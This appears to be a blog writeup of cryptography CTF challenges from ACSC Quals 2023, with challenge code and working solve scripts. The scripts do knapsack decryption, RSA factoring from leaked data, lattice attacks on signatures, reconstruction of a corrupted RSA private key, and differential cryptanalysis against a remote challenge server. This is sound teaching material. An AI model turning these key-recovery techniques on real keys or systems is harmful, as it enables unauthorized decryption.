#### 'Cryptography' 카테고리의 다른 글

Polynomials and Elliptic Curves in ZK  (0) 2023.02.27 2023.02.22 2022.12.21 2022.11.25 2022.11.04

#### 'Cryptography' 카테고리의 다른 글

ZK Applications  (0) 2023.03.03 2023.02.22 2022.12.21 2022.11.25 2022.11.04

Finished 8th in ACSC Quals 2023. Solved all cryptography challenges and warmup rev. I had a alumni meetup with NEXON Youth Programming Challenge award winners, so I went home at like 9PM with a beer and sangria inside me.

(Here, sangria is not the recent folding scheme for PLONK from Geometry Research)

Kinda gave up on the whole ACSC thing until it was around midnight, then I saw that I could make it if I solve all cryptography challenges.

So I hurried to do so and finished around 5:30AM, then solved the warmup rev. Turns out that this was a good idea.

### Merkle-Hellman

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #!/usr/bin/env python3 import random import binascii   def egcd(a, b):     if a == 0:         return (b, 0, 1)     else:         g, y, x = egcd(b % a, a)         return (g, x - (b // a) * y, y)   def modinv(a, m):     g, x, y = egcd(a, m)     if g != 1:         raise Exception('modular inverse does not exist')     else:         return x % m   def gcd(a, b):      if a == 0:          return b      return gcd(b % a, a)    flag = open("flag.txt","rb").read() # Generate superincreasing sequence w = [random.randint(1,256)] s = w[0] for i in range(6):     num = random.randint(s+1,s+256)     w.append(num)     s += num   # Generate private key total = sum(w) q = random.randint(total+1,total+256) r = 0 while gcd(r,q) != 1:     r = random.randint(100, q)   # Calculate public key b = [] for i in w:     b.append((i * r) % q)   # Encrypting c = [] for f in flag:     s = 0     for i in range(7):         if f & (64>>i):             s += b[i]     c.append(s)   print(f"Public Key = {b}") print(f"Private Key = {w,q}") print(f"Ciphertext = {c}")   # Output: # Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084] # Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910) # Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] cs

This is a knapsack-based cryptosystem, and we know practically everything here. Just decrypt it.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from sage.all import * from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long    pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084] sk = [184, 332, 713, 1255, 2688, 5243, 10448] q = 20910 ctxt = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]     df = sk[2] * inverse(pk[2], q)   res = b""   for c in ctxt:     c = (c * df) % q      f = 0     for i in range(6, -1, -1):         if c >= sk[i]:             f += (1 << (6 - i))             c -= sk[i]     res += bytes([f])   print(res)   Colored by Color Scripter cs

### Check Number 63

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Crypto.Util.number import * import gmpy2 from flag import *   f = open("output.txt","w")   f.write(f"n = {n}\n")   while e < 66173:   d = inverse(e,(p-1)*(q-1))   check_number = (e*d - 1) // ( (p-1)*(q-1) )   f.write(f"{e}:{check_number}\n")   assert (e*d - 1) % ( (p-1)*(q-1) ) == 0   e = gmpy2.next_prime(e)    f.close()     Colored by Color Scripter cs

We have $n$ alongside 63 pairs of $(e, k)$ where $$ed = k \phi(n) + 1$$ The goal is to factor $n$. First, the central idea is to note that $$k \phi(n) + 1 \equiv 0 \pmod{e}$$ so we recover $$\phi(n) \equiv - k^{-1} \pmod{e}$$ Combined with CRT, this gives us $$\phi(n) \pmod{ \prod e}$$ which is around $63 * 16 = 1008$ bits of information. Meanwhile, we since $$\phi(n) = n + 1 - (p + q)$$ we have a 1025 bit range for $\phi(n)$. We can easily brute-force all possible values of $\phi(n)$, then recover $p, q$ from $n, \phi(n)$.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from sage.all import * from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long    # ed = k phi(n) + 1 # k phi(n) + 1 == 0 mod e # phi(n) == -k^-1 mod e   n = # given number here   def iroot(v, r):     return Integer(v).nth_root(r, truncate_mode=False)   tt = open("output.txt", "r") tt = tt.readlines()   vals = [] mods = []   for l in tt:     wow = l.split(":")     e = int(wow[0])     res = int(wow[1])     vals.append(int(e - inverse(res, e)))     mods.append(e)   cc = int(prod(mods))   phi_cc = int(CRT(vals, mods))   for l in tt:     wow = l.split(":")     e = int(wow[0])     res = int(wow[1])     assert (phi_cc * res + 1) % e == 0   from tqdm import tqdm   for i in tqdm(range(1 << 20)):     tot = int((n - phi_cc + 1) % cc)     tot += i * cc     phi = n - tot + 1     assert phi % cc == phi_cc      try:         p = (tot - iroot(tot * tot - 4 * n, 2)) // 2         q = tot - p         assert p < q          assert p * q == n         print(p, q)         from hashlib import sha512         flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}"          print(flag)     except:         pass             Colored by Color Scripter cs

### Dual Signature Algorithm

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import os from hashlib import sha256 from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, inverse     flag = os.environ.get("FLAG", "neko{cat_are_the_most_powerful_beings_in_fact}")     def h(m: bytes) -> int:     return int(sha256(m).hexdigest(), 16)     def gen_prime():     while True:         q = getPrime(520)         p = 2*q + 1         if isPrime(p):             return p, q     p1, q1 = gen_prime() p2, q2 = gen_prime()   if q1 > q2:     (p1, q1), (p2, q2) = (p2, q2), (p1, q1)   x = int((os.urandom(512 // 8 - len(flag) - 1) + flag.encode()).hex(), 16) g = 4 y1 = pow(g, x, p1) y2 = pow(g, x, p2)     def sign(m: bytes):     z = h(m)     k = getRandomNBitInteger(512)     r1 = pow(g, k, p1)     r2 = pow(g, k, p2)     s1 = inverse(k, q1) * (z + r1*x) % q1     s2 = inverse(k, q2) * (z + r2*x) % q2       return (r1, s1), (r2, s2)     def verify(m: bytes, sig1, sig2):     z = h(m)     r1, s1 = sig1     r2, s2 = sig2       s1inv = inverse(s1, q1)     s2inv = inverse(s2, q2)     gk1 = pow(g, s1inv*z, p1) * pow(y1, s1inv*r1, p1) % p1     gk2 = pow(g, s2inv*z, p2) * pow(y2, s2inv*r2, p2) % p2       return r1 == gk1 and r2 == gk2     m = b"omochi mochimochi mochimochi omochi" sig1, sig2 = sign(m)   print(f"g = {g}") print(f"p1, p2 = {p1}, {p2}") print(f"y1, y2 = {y1}, {y2}")   print(f"m = {m}") print(f"r1, s1 = {sig1}") print(f"r2, s2 = {sig2}")   Colored by Color Scripter cs

I overcomplicated this problem way too much - the easier solution is combining the two signature schemes via CRT then LLL.

I tried some straightforward lattices without the CRT idea, but it didn't give me the answer. Here's my solution.

Start with the equations $$ks_1 = z + r_1x + c_1q_1, \quad ks_2 = z + r_2x + c_2q_2$$ where $c_1, c_2$ each have absolute values of at most something like $2^{515}$. We'll cancel out the $k$ in the equations to get $$s_2(z + r_1x + c_1q_1) = s_1(z+ r_2x + c_2q_2)$$ or $$(s_2r_1 - s_1r_2)x = (s_1 - s_2)z + (s_1q_2) c_2 - (s_2q_1) c_1$$ This gives us a system - we want $$-2^{515} \le c_1, c_2 \le 2^{515}$$ as well as the linear equation $$(s_1q_2) c_2 \equiv (s_2q_1) c_1 + (s_2 - s_1)z \pmod{s_2r_1 - s_1r_2}$$ While there are some GCD issues like $\gcd(s_1q_2, s_2r_1 - s_1r_2) = 2 \neq 1$, in essence this is the same type of problem as $$S \le c_1 \le E, \quad L \le Ax + B \bmod{M} \le R$$ which is the exact task that the special case of my CVP repository solves. After getting $c_1, c_2$, the rest is easy linear equation.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 def ceil(n, m): # returns ceil(n/m)     return (n + m - 1) // m   def is_inside(L, R, M, val): # is L <= val <= R in mod M context?     if L <= R:         return L <= val <= R     else:         R += M         if L <= val <= R:             return True         if L <= val + M <= R:             return True          return False   def optf(A, M, L, R): # minimum nonnegative x s.t. L <= Ax mod M <= R     if L == 0:         return 0     if 2 * A > M:         L, R = R, L         A, L, R = M - A, M - L, M - R     cc_1 = ceil(L, A)     if A * cc_1 <= R:         return cc_1     cc_2 = optf(A - M % A, A, L % A, R % A)     return ceil(L + M * cc_2, A)   # check if L <= Ax (mod M) <= R has a solution def sol_ex(A, M, L, R):     if L == 0 or L > R:         return True     g = GCD(A, M)     if (L - 1) // g == R // g:         return False     return True   ## find all solutions for L <= Ax mod M <= R, S <= x <= E: def solve(A, M, L, R, S, E):     # this is for estimate only : if very large, might be a bad idea to run this     print("Expected Number of Solutions : ", ((E - S + 1) * (R - L + 1)) // M + 1)     if sol_ex(A, M, L, R) == False:         return []     cur = S - 1     ans = []     num_sol = 0     while cur <= E:         NL = (L - A * (cur + 1)) % M         NR = (R - A * (cur + 1)) % M         if NL > NR:             cur += 1         else:             val = optf(A, M, NL, NR)             cur += 1 + val         if cur <= E:             ans.append(cur)             # remove assert for performance if needed             assert is_inside(L, R, M, (A * cur) % M)             num_sol += 1     print("Actual Number of Solutions : ", num_sol)     return ans   q1 = (p1 - 1) // 2 q2 = (p2 - 1) // 2   det_v = abs(s2 * r1 - s1 * r2)   md_2 = s1 * q2  md_1 = s2 * q1    z = (h(m) * (s2 - s1)) % det_v   print(z % 2) # 0 print(md_1 % 2) # 1 print(md_2 % 2) # 0   md_2 //= 2 det_v //= 2  z //= 2   A = (md_1 * inverse(md_2, det_v)) % (det_v) B = (z * inverse(md_2, det_v)) % det_v    BOUND = 1 << 515   print(det_v)   pepega = solve(A, det_v, det_v -BOUND - B, det_v + BOUND - B, -BOUND, BOUND)   print(len(pepega))   c_1 = int(pepega[0] * 2) c_2 = int((md_1 * (c_1 // 2) + z) * inverse(md_2, det_v) % det_v) if c_1 > BOUND:     c_1 -= det_v if c_2 > BOUND:     c_2 -= det_v   print(abs(c_1) < BOUND) print(abs(c_2) < BOUND)   LHS = s2 * h(m) - s1 * h(m) + s2 * c_1 * q1 - s1 * c_2 * q2  RHS = s1 * r2 - s2 * r1  x = LHS // RHS  print(LHS % RHS) print(long_to_bytes(x))   Colored by Color Scripter cs

### Corrupted

We are given a broken PEM file that looks like the following.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAn+8Rj11c2JOgyf6s1Hiiwt553hw9+oGcd1EGo8H5tJOEiUnP NixaIGMK1O7CU7+IEe43PJcGPPkCti2kz5qAXAyXXBMAlHF46spmQaQFpVRRVMZD 1yInh0QXEjgBBFZKaH3VLh9FpCKYpfqij+OlphoSHlfc7l2Wfct40TDFg13WdpVB BseCEmaY/b+kxwdfVe7Dzt8kd2ASPuNbOqKvv8ijTgiqpsX5uinjvr/3/srINm8X xpANqO/eSXP8kO4abOJtyfg2bWvO9QvQRaUIjnYioAkyiqcttbzGIekCfktlA+Rn JLL19tEG43hubOZAwqGDxvXfKEKx9E2Yx4Da/wIDAQA?AoI?????8S??Om/???xN 3c??0?/G?OO?aQWQB??ECCi??KD?w??2mFc??pTM?r?rX??X+XFW??Rtw?o?d????ZQ?yp?mczG?q2?0O???1o3?Jt?8?+00s?SY+??MG??7d??7k??o?????ci?K??????wK??Y??gqV????9????YA?Hh5T????ICP+?3HTU?l???m0y?6??2???b2x???????+7??T????????n?7????b?P??iL?/???tq???5jLuy??lX?d?ZEO?7???ld???g ?r?rK??IYA???0???zYCIZt2S???cP??W????f???l5?3c+??UkJr4E?QH??PiiD WLB???f5A?G?A???????????u???3?K???????I???S?????????J?p?3?N?W??? ????r???????8???o???m?????8?s???1?4?l?T?3?j?y?6?F?c?g?3?A?8?S?1? X?o?D?C?+?7?F?V?U?1?f?K?a?F?7?S?b?V?/?v?5?1?V?A?5?G?y?X?AoGB?L?i ?2?C?t?W?s?Z?h?L?t?3?r?d?M?s?U?E?L?P?n?2?U?G?M?g?D?u?E?s?a?h?K?m ?9?/?n?o?J?8?e?9?9?k?N?2?l?T?8?k?b?e?j?n?Q?u?z?z?e?A?S?6?0?w?5?0 ?B?V?i?s?R?W?6?Y?6?u?l?s?G?c?Q?2?Q?w?U?l??GA??V?f???kVYfl???WyY? 3J?2fF?h/???UqfpeO???o?k?9kF??a8L?V?w??????J??9?iP????D???JSx??g??IUC0??t7???I??c??????eh/No?????y8???0?E+??1?JC?Oj??HFy??2T?1nV??HH?+???+??s?L?o??K?zc?????BhB2A?????E??b???e?f??KruaZ??u?tp?Tq?c?t?????iQ1qS??h??m?S?/????FDu3i?p???S??Q?o??0s?e0?n?Hv??C?CnM?/Dw m9?????uC?Ktm????D?e????h7?A??V??O??5/XsY??Y?A???????q?y?gk?Pbq? ????MQK?gQ??SQ?????ERjLp?N??A??P?So?TPE??WWG???lK?Q????o?aztnUT? eKe4+h0?VkuB?b?v?7ge?nK1??Jy7?y??9??????BP??gG?kKK?y?Z???yES4i?? ?Uhc?p????c4ln?m?r???P??C?8?X?d??TP??k??B?dwjN7??ui?K????????-?N? ?S? ?RI?A?? KE?-???- Colored by Color Scripter cs

We need to recover the full PEM key. The solution is really hands-on, and it needs some grinding.

The PEM decoding algorithm is in pycryptodome - basically, it's just a DER decoding. So how does DER decoding work?

By following the DER implementation in pycryptodome alongside with some debugging, it's basically as follows.

• 1 byte is consumed as the octet. Not sure what this does.
• Then, 1 byte is consumed as the length $l$. If $l \le 127$, then this is the final length.
• If $l \ge 128$, then the next $l \pmod{128}$ bytes in big endian represent the final length.
• The "final length" bytes worth of data, in big endian, is the pushed data.

However, the very first "final length" is actually the full length, so this one should be skipped.

Also, we quickly note that

• By comparing lengths, it can be seen that this file is based on 2048 bit RSA.
• In this case, the PEM file has a linebreak every 64 characters. Based on this, we can remove some "?" to linebreaks.
• The first step is to base64 decode the lines between the first and the last ones. By randomly selecting one of 64 choices for each "?" and decoding it multple times, we can figure out which bits in the decoded data are known, and which bits in the decoded data are the ones from the "?"s. This is useful when patching important "?"s so that the length informations makes sense.

The main part is to patch everything so that the length informations makes sense. Since the datasets are $n, e, d, p, q, d_p, d_q, u$ in order, just try every patch that makes sense and does not affect the bits that are actually known. Decoding an actual 2048 bit RSA PEM helps.

In the end, we'll have the full $n, e$ and some bits of $p, q, d_p, d_q, u$. However, $u$ is not needed here.

The rest is relatively well-known - you set up an equation $$pq = n, \quad ed_p = k_p(p-1) + 1, \quad ed_q = k_q(q-1) + 1$$ and solve this equation modulo powers of 2 iteratively. To do so, you need to fix $k_p, k_q$ - it turns out that there are $\mathcal{O}(e)$ possible pairs of $(k_p, k_q)$, so you can try out all candidates. For example, see [HS09]. There is also my challenge "RSA Hex Permutation".

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from sage.all import * from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long  from hashlib import sha256  from base64 import b64decode import string  import random as rand    raw_pem = open("meme.pem", "rb").read()     ST = b"-----BEGIN RSA PRIVATE KEY-----\n" EN = b"\n-----END RSA PRIVATE KEY-----" raw_pem = raw_pem[len(ST): -len(EN)] print(raw_pem)   meme = (string.ascii_uppercase + string.ascii_lowercase + string.digits + "+/=\n").encode()   print(len(raw_pem))     def gen_copy(lmao):     ret = b""     for l in lmao:         ret += bytes([l])     for i in range(len(ret)):         if ret[i] not in meme:             sel = rand.randint(0, 63)             ret = ret[:i] + bytes([meme[sel]]) + ret[i + 1: ]     return ret   recovered = b64decode(gen_copy(raw_pem))   print(len(recovered))   EQ = [1] * (len(recovered) * 8)   for trial in range(50):     raw_pem_new = b64decode(gen_copy(raw_pem))     for j in range(len(recovered)):         for k in range(8):             if ((recovered[j] >> (7 - k)) & 1) != ((raw_pem_new[j] >> (7 - k)) & 1):                 EQ[8 * j + k] = 0   def get_eq(l, r):     print("EQ", l, r, EQ[8 * l : 8 * r])   def patch(org, l, r, patch):     return org[:l] + bytes(patch) + org[r:]   # patch   # for e recovered = patch(recovered, 272, 273, [1]) # for d length recovered = patch(recovered, 275, 277, [1, 1]) # either [1, 0] or [1, 1] # for p length recovered = patch(recovered, 535, 537, [129, 129]) # for d mod p - 1 recovered = patch(recovered, 799, 800, [129]) # for d mod q - 1 recovered = patch(recovered, 930, 932, [129, 128]) # for u recovered = patch(recovered, 1061, 1062, [129])   cur = 0 vals = [] for i in range(10):     print("START", i, cur)     print("octet", cur, recovered[cur])     cur += 1     l = recovered[cur]     print("[+] length heat check", l, cur)     get_eq(cur, cur + 1)     cur += 1     if l > 127:         tt = l & 0x7F         real_l = bytes_to_long(recovered[cur:cur+tt])         print("[+] real length")         get_eq(cur, cur + tt)         print(recovered[cur:cur+tt])         print(real_l, "at range", cur, cur+tt)         cur += tt     else:         real_l = l     if i == 0:         continue      print("[+] data", recovered[cur:cur+real_l])     get_eq(cur, cur + real_l)     val = bytes_to_long(recovered[cur:cur+real_l])     print("[+] appended", val)     vals.append(val)     cur += real_l    print(vals)   Colored by Color Scripter cs

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 n = data[1] e = data[2] d_val = data[3] p_val = data[4] q_val = data[5] d_p_val = data[6] d_q_val = data[7]   k_p, k_q = 0, 0   import sys sys.setrecursionlimit(10 ** 6)     def work(ps, qs, dps, dqs, cur):     if cur == 1028:         return          nxtps = []     nxtqs = []     nxtdps = []     nxtdqs = []       if cur > 950 and len(ps) == 1:         # print(ps, cur)         if n % ps[0] == 0:             print("WOW!!!")     if len(ps) == 0:         return       for p, q, dp, dq in zip(ps, qs, dps, dqs):         if cur >= 1000:             if n % p == 0:                 print(p)                 print(n // p)           if cur == 1028:             continue                  for pi in range(2):             if p_conf[-1-cur] == 1 and ((p_val >> cur) & 1) != pi:                 continue             new_p = p + (pi << cur)             for qi in range(2):                 if q_conf[-1-cur] == 1 and ((q_val >> cur) & 1) != qi:                     continue                 new_q = q + (qi << cur)                 for dpi in range(2):                     if d_p_conf[- 1 - cur] == 1 and ((d_p_val >> cur) & 1) != dpi:                         continue                      new_dp = dp + (dpi << cur)                     for dqi in range(2):                         if d_q_conf[-1 - cur] == 1 and ((d_q_val >> cur) & 1) != dqi:                             continue                          new_dq = dq + (dqi << cur)                         A = abs(n - new_p * new_q)                         B = abs(e * new_dp - k_p * (new_p - 1) - 1)                         C = abs(e * new_dq - k_q * (new_q - 1) - 1)                         if ((A >> cur) & 1) != 0:                             continue                         if ((B >> cur) & 1) != 0:                             continue                          if ((C >> cur) & 1) != 0:                             continue                         nxtps.append(new_p)                         nxtqs.append(new_q)                         nxtdps.append(new_dp)                         nxtdqs.append(new_dq)       work(nxtps, nxtqs, nxtdps, nxtdqs, cur + 1)   from tqdm import tqdm    for idx in tqdm(range(1, e)):     if (idx * (n - 1) + 1) % e == 0:         continue      k_p = idx      k_q = ((1 - k_p) * inverse(k_p * n - k_p + 1, e)) % e     work([0], [0], [0], [0], 0) Colored by Color Scripter cs

### SusCipher

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 #!/usr/bin/env python3 import hashlib import os import signal     class SusCipher:     S = [         43,  8, 57, 53, 48, 39, 15, 61,          7, 44, 33,  9, 19, 41,  3, 14,         42, 51,  6,  2, 49, 28, 55, 31,          0,  4, 30,  1, 59, 50, 35, 47,         25, 16, 37, 27, 10, 54, 26, 58,         62, 13, 18, 22, 21, 24, 12, 20,         29, 38, 23, 32, 60, 34,  5, 11,         45, 63, 40, 46, 52, 36, 17, 56     ]       P = [         21,  8, 23,  6,  7, 15,         22, 13, 19, 16, 25, 28,         31, 32, 34, 36,  3, 39,         29, 26, 24,  1, 43, 35,         45, 12, 47, 17, 14, 11,         27, 37, 41, 38, 40, 20,          2,  0,  5,  4, 42, 18,         44, 30, 46, 33,  9, 10     ]       ROUND = 3     BLOCK_NUM = 8     MASK = (1 << (6 * BLOCK_NUM)) - 1       @classmethod     def _divide(cls, v: int) -> list[int]:         l: list[int] = []         for _ in range(cls.BLOCK_NUM):             l.append(v & 0b111111)             v >>= 6         return l[::-1]       @staticmethod     def _combine(block: list[int]) -> int:         res = 0         for v in block:             res <<= 6             res |= v         return res       @classmethod     def _sub(cls, block: list[int]) -> list[int]:         return [cls.S[v] for v in block]       @classmethod     def _perm(cls, block: list[int]) -> list[int]:         bits = ""         for b in block:             bits += f"{b:06b}"           buf = ["_" for _ in range(6 * cls.BLOCK_NUM)]         for i in range(6 * cls.BLOCK_NUM):             buf[cls.P[i]] = bits[i]           permd = "".join(buf)         return [int(permd[i : i + 6], 2) for i in range(0, 6 * cls.BLOCK_NUM, 6)]       @staticmethod     def _xor(a: list[int], b: list[int]) -> list[int]:         return [x ^ y for x, y in zip(a, b)]       def __init__(self, key: int):         assert 0 <= key <= self.MASK           keys = [key]         for _ in range(self.ROUND):             v = hashlib.sha256(str(keys[-1]).encode()).digest()             v = int.from_bytes(v, "big") & self.MASK             keys.append(v)           self.subkeys = [self._divide(k) for k in keys]       def encrypt(self, inp: int) -> int:         block = self._divide(inp)           block = self._xor(block, self.subkeys[0])         for r in range(self.ROUND):             block = self._sub(block)             block = self._perm(block)             block = self._xor(block, self.subkeys[r + 1])           return self._combine(block)       # TODO: Implement decryption     def decrypt(self, inp: int) -> int:         raise NotImplementedError()     def handler(_signum, _frame):     print("Time out!")     exit(0)     def main():     signal.signal(signal.SIGALRM, handler)     signal.alarm(300)     key = int.from_bytes(os.urandom(6), "big")       cipher = SusCipher(key)       while True:         inp = input("> ")           try:             l = [int(v.strip()) for v in inp.split(",")]         except ValueError:             print("Wrong input!")             exit(0)           if len(l) > 0x100:             print("Long input!")             exit(0)           if len(l) == 1 and l[0] == key:             with open('flag', 'r') as f:                 print(f.read())           print(", ".join(str(cipher.encrypt(v)) for v in l))     if __name__ == "__main__":     main()   Colored by Color Scripter cs

This is a 3-round block cipher, and a hint is given - use differential cryptanalysis.

Let's find some easy differentials. We collect the $((i \oplus j)[u], (S_i \oplus S_j)[v])$ and see how it behave - and it turns out that the bias is noticeable. We can keep track of an array $pos$, where $pos_i$ denotes the bit location where the original $i$th bit is the most correlated to it.

In the current state, there are 3 S-box applications, so the bias will decrease over those 3 S-boxes. However, if we know a key chunk, for example, the first 6 bits, then the first key addition and the S-box application can be computed directly, so in reality we are only going through 2 S-boxes. Therefore, the correlation between the state just after the first S-box and the encrypted state will be much greater.

We can now brute force all 64 possibilities for all 8 key chunks. 20K random encryptions are enough to reliably find the key.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 from pwn import *  import os    S = [         43,  8, 57, 53, 48, 39, 15, 61,          7, 44, 33,  9, 19, 41,  3, 14,         42, 51,  6,  2, 49, 28, 55, 31,          0,  4, 30,  1, 59, 50, 35, 47,         25, 16, 37, 27, 10, 54, 26, 58,         62, 13, 18, 22, 21, 24, 12, 20,         29, 38, 23, 32, 60, 34,  5, 11,         45, 63, 40, 46, 52, 36, 17, 56     ]   P = [         21,  8, 23,  6,  7, 15,         22, 13, 19, 16, 25, 28,         31, 32, 34, 36,  3, 39,         29, 26, 24,  1, 43, 35,         45, 12, 47, 17, 14, 11,         27, 37, 41, 38, 40, 20,          2,  0,  5,  4, 42, 18,         44, 30, 46, 33,  9, 10     ]   def get_bit(res, w):     return (res >> (5 - w)) & 1     bits = [[[0, 0, 0, 0] for _ in range(6)] for _ in range(6)]   for i in range(64):     for j in range(64):         # i ^ j => Si ^ Sj          for u in range(6):             for v in range(6):                 t1 = get_bit(i ^ j, u)                 t2 = get_bit(S[i] ^ S[j], v)                 bits[u][v][2 * t1 + t2] += 1     mx = 0 for i in range(6):     print("[+]", i)     mx_j = 0     for j in range(6):         mx_j = max(mx_j, bits[i][j][0])     print(mx_j)     for j in range(6):         if bits[i][j][0] == mx_j:             print(j)     sub_loc = [5, 0, 1, 1, 0, 5]     def track_sub(pos):     ret = [0] * 48     for i in range(48):         loc = pos[i] // 6         md = pos[i] % 6         ret[i] = 6 * loc + sub_loc[md]     return ret   def track_perm(pos):     ret = [0] * 48     for i in range(48):         ret[i] = P[pos[i]]     return ret   full_enc = [i for i in range(48)] for i in range(3):     full_enc = track_sub(full_enc)     full_enc = track_perm(full_enc)   part_enc = [i for i in range(48)] part_enc = track_perm(part_enc) for i in range(2):     part_enc = track_sub(part_enc)     part_enc = track_perm(part_enc)   plaintexts = [int.from_bytes(os.urandom(6), "big") for _ in range(256 * 80)]   l = []   for i in range(80):     st = ""     for j in range(256):         st += str(plaintexts[256 * i + j])         if j != 255:             st += ","     l.append(st)     conn = remote("suscipher.chal.ctf.acsc.asia", 13579)   conn.sendlines(l)   results = conn.recvlines(80)   enc = []   for i in range(80):     encs = results[i][2:].split(b",")     assert len(encs) == 256     for j in range(256):         enc.append(int(encs[j]))     key = 0   for i in range(8):     res = [[0 for _ in range(6)] for _ in range(64)]     fin = [0] * 64       dat_eq = 0     tot = 0          for idx in range(len(enc)):         plaintext = plaintexts[idx]         ciphertext = enc[idx]           ptxt_block = (plaintext >> (6 * (7 - i))) & 63         for loc in range(6):             for k in range(64):                 bit_org = (S[k ^ ptxt_block] >> (5 - loc)) & 1                 bit_res = (ciphertext >> (47 - part_enc[6 * i + loc])) & 1                 if bit_org == bit_res:                     res[k][loc] += 1       for idx in range(64):         for u in range(6):             fin[idx] += abs(res[idx][u] - len(enc) // 2)       v = 0     for idx in range(64):         v = max(v, fin[idx])          ans = 0     for idx in range(64):         if v == fin[idx]:             ans = idx       key += (ans << (6 * (7 - i)))   conn.sendline(str(key).encode()) print(conn.recvline())         Colored by Color Scripter cs

### Serverless

Basically, the encryption system works as follows.

• Select one prime $p$ from a fixed array
• Select one prime $q$ from a fixed array
• Select $0 \le s \le 4$ and choose $e = 2^{2^s} + 1$
• Textbook RSA encrypt data, little-endian it, append some values ($s$ and the indexes for $p, q$)
• XOR the password, reverse the data, then base64 encode it

As we know the fixed array of primes and the password, the decryption is easy.

#### 'CTF' 카테고리의 다른 글

HackTM CTF Writeup  (0) 2023.02.22 2022.11.21 2022.11.09 2022.09.19 2022.09.19

A very long story. It started when Brian Gu told me about DARK back in 2021 @theoremoon wrote the challenge "Hell" for SECCON CTF Finals 2022. It involved some hyperelliptic curves and was quite interesting. Let's look at that challenge first.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import os   flag = os.environ.get("FLAG", "neko{the_neko_must_fit_to_the_hyperelliptic}") p = random_prime(2 ** 512)   xv = randint(0, p-1) yv = int(flag.encode().hex(), 16)   assert yv < p   g = 2 PR. = PolynomialRing(GF(p)) f = sum(randint(0, p-1)*x**i for i in range(2*g + 1 + 1)) F = f + (yv**2 - f.subs({x: xv}))   HC = HyperellipticCurve(F, 0) J = HC.jacobian()(GF(p))   D = J(HC((xv, yv))) print(f"p = {p}") for i in range(2, 5):     k = i*(i+1)     print(k*D) Colored by Color Scripter cs

Ultimately, we are given $p$ and Jacobians of $6D, 12D, 20D$. Here, we need to find the coordinates of $D$.

To solve this, first we note that for Mumford representation $(u, v)$ we must have $v^2 \equiv f \pmod{u}$.

As this is genus 2, $\deg u$ will be $2$ and $\deg f$ will be $5$. This means that we can recover $f$ via CRT.

After recovering $f$, we can compute the Mumford representation of $2D = 20D - 12D - 6D$. Here, we note that the $u(x)$ value of the Mumford representation of $2D$ will simply be $(x - xv)^2$ due to the usual formula. This recovers $xv$ and so $yv$.

